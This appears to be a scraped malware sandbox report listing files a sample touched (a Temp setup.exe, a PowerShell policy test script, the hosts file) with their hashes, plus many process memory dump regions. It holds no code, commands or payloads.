9188b00e1170a3f0b2976b8787fb58927fb5b866af4628c105365b73869ec8197be7fae70fa9d2bd1a464ad95c278555476f1fd102a672b862fb4998505ee3e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3g1pp5kr.soy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe

Filesize
5.1MB

MD5
cc6be6cc21ca6263b2712d5f4f5c8cd5

SHA1
2f0fe6f8e6279b7bf44c22babf0dacc01a0c0d8e

SHA256
03ea65b939174a81675352dbe889f1f6835eb119741f698b05d56073faeeed36

SHA512
422b5d0fc740db845d6bbf465451a744e3a9d8878a0f86aedb65736c98610ecaebda5e93737e7c5b16c1f64aa765bacf1d104d61bfd042f1274d0d19ffb1a7d5

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
3KB

MD5
00930b40cba79465b7a38ed0449d1449

SHA1
4b25a89ee28b20ba162f23772ddaf017669092a5

SHA256
eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01

SHA512
cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62

Download Submit
memory/208-110-0x000001E9F77C0000-0x000001E9F7875000-memory.dmp

Filesize
724KB

Download
memory/208-117-0x000001E9F7A20000-0x000001E9F7A2A000-memory.dmp

Filesize
40KB

Download
memory/208-113-0x000001E9F7550000-0x000001E9F755A000-memory.dmp

Filesize
40KB

Download
memory/208-114-0x000001E9F7A00000-0x000001E9F7A1A000-memory.dmp

Filesize
104KB

Download
memory/208-115-0x000001E9F79C0000-0x000001E9F79C8000-memory.dmp

Filesize
32KB

Download
memory/208-109-0x000001E9F77A0000-0x000001E9F77BC000-memory.dmp

Filesize
112KB

Download
memory/208-116-0x000001E9F79D0000-0x000001E9F79D6000-memory.dmp

Filesize
24KB

Download
memory/208-112-0x000001E9F79E0000-0x000001E9F79FC000-memory.dmp

Filesize
112KB

Download
memory/208-111-0x000001E9F7540000-0x000001E9F754A000-memory.dmp

Filesize
40KB

Download
memory/1044-78-0x0000016050050000-0x0000016050072000-memory.dmp

Filesize
136KB

Download
memory/1252-125-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1252-124-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1252-123-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1252-122-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1252-126-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1252-129-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/3372-157-0x000002E0E6CE0000-0x000002E0E6CE1000-memory.dmp

Filesize
4KB

Download
memory/3372-155-0x000002E0E6CE0000-0x000002E0E6CE1000-memory.dmp

Filesize
4KB

Download
memory/3372-153-0x000002E0E6CE0000-0x000002E0E6CE1000-memory.dmp

Filesize
4KB

Download
memory/3372-148-0x000002E0E6CE0000-0x000002E0E6CE1000-memory.dmp

Filesize
4KB

Download
memory/3372-154-0x000002E0E6CE0000-0x000002E0E6CE1000-memory.dmp

Filesize
4KB

Download
memory/3372-147-0x000002E0E6CE0000-0x000002E0E6CE1000-memory.dmp

Filesize
4KB

Download
memory/3372-149-0x000002E0E6CE0000-0x000002E0E6CE1000-memory.dmp

Filesize
4KB

Download
memory/3372-159-0x000002E0E6CE0000-0x000002E0E6CE1000-memory.dmp

Filesize
4KB

Download
memory/3372-158-0x000002E0E6CE0000-0x000002E0E6CE1000-memory.dmp

Filesize
4KB

Download
memory/3372-156-0x000002E0E6CE0000-0x000002E0E6CE1000-memory.dmp

Filesize
4KB

Download
memory/3696-28-0x00000000055E0000-0x0000000005672000-memory.dmp

Filesize
584KB

Download
memory/3696-26-0x0000000005B90000-0x0000000006134000-memory.dmp

Filesize
5.6MB

Download
memory/3696-24-0x0000000005490000-0x000000000552C000-memory.dmp

Filesize
624KB

Download
memory/3696-38-0x00000000057D0000-0x0000000005826000-memory.dmp

Filesize
344KB

Download
memory/3696-22-0x0000000000980000-0x0000000000B0C000-memory.dmp

Filesize
1.5MB

Download
memory/3696-72-0x0000000073C50000-0x0000000074400000-memory.dmp

Filesize
7.7MB

Download
memory/3696-73-0x0000000073C50000-0x0000000074400000-memory.dmp

Filesize
7.7MB

Download
memory/3696-21-0x0000000073C50000-0x0000000074400000-memory.dmp

Filesize
7.7MB

Download
memory/3696-43-0x0000000073C50000-0x0000000074400000-memory.dmp

Filesize
7.7MB

Download
memory/3696-30-0x0000000005590000-0x000000000559A000-memory.dmp

Filesize
40KB

Download
memory/5032-135-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-146-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-160-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-145-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-144-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-143-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-142-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-137-0x0000000000B60000-0x0000000000B80000-memory.dmp

Filesize
128KB

Download
memory/5032-131-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-132-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-139-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-138-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-141-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-140-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-130-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-133-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-134-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5032-136-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5068-67-0x0000000007D60000-0x0000000007D7A000-memory.dmp

Filesize
104KB

Download
memory/5068-23-0x0000000073C50000-0x0000000074400000-memory.dmp

Filesize
7.7MB

Download
memory/5068-59-0x0000000007700000-0x00000000077A3000-memory.dmp

Filesize
652KB

Download
memory/5068-60-0x0000000008070000-0x00000000086EA000-memory.dmp

Filesize
6.5MB

Download
memory/5068-47-0x00000000076B0000-0x00000000076E2000-memory.dmp

Filesize
200KB

Download
memory/5068-61-0x0000000007A30000-0x0000000007A4A000-memory.dmp

Filesize
104KB

Download
memory/5068-62-0x0000000007AA0000-0x0000000007AAA000-memory.dmp

Filesize
40KB

Download
memory/5068-63-0x0000000007CC0000-0x0000000007D56000-memory.dmp

Filesize
600KB

Download
memory/5068-46-0x00000000067A0000-0x00000000067EC000-memory.dmp

Filesize
304KB

Download
memory/5068-64-0x0000000007C30000-0x0000000007C41000-memory.dmp

Filesize
68KB

Download
memory/5068-65-0x0000000007C70000-0x0000000007C7E000-memory.dmp

Filesize
56KB

Download
memory/5068-66-0x0000000007C80000-0x0000000007C94000-memory.dmp

Filesize
80KB

Download
memory/5068-58-0x0000000007690000-0x00000000076AE000-memory.dmp

Filesize
120KB

Download
memory/5068-45-0x0000000006710000-0x000000000672E000-memory.dmp

Filesize
120KB

Download
memory/5068-48-0x0000000070860000-0x00000000708AC000-memory.dmp

Filesize
304KB

Download
memory/5068-44-0x0000000006120000-0x0000000006474000-memory.dmp

Filesize
3.3MB

Download
memory/5068-37-0x00000000060B0000-0x0000000006116000-memory.dmp

Filesize
408KB

Download
memory/5068-36-0x0000000006040000-0x00000000060A6000-memory.dmp

Filesize
408KB

Download
memory/5068-29-0x0000000005940000-0x0000000005962000-memory.dmp

Filesize
136KB

Download
memory/5068-27-0x0000000073C50000-0x0000000074400000-memory.dmp

Filesize
7.7MB

Download
memory/5068-25-0x0000000005A10000-0x0000000006038000-memory.dmp

Filesize
6.2MB

Download
memory/5068-71-0x0000000073C50000-0x0000000074400000-memory.dmp

Filesize
7.7MB

Download
memory/5068-20-0x0000000003120000-0x0000000003156000-memory.dmp

Filesize
216KB

Download
memory/5068-19-0x0000000073C5E000-0x0000000073C5F000-memory.dmp

Filesize
4KB

Download
memory/5068-68-0x0000000007CB0000-0x0000000007CB8000-memory.dmp

Filesize
32KB

Download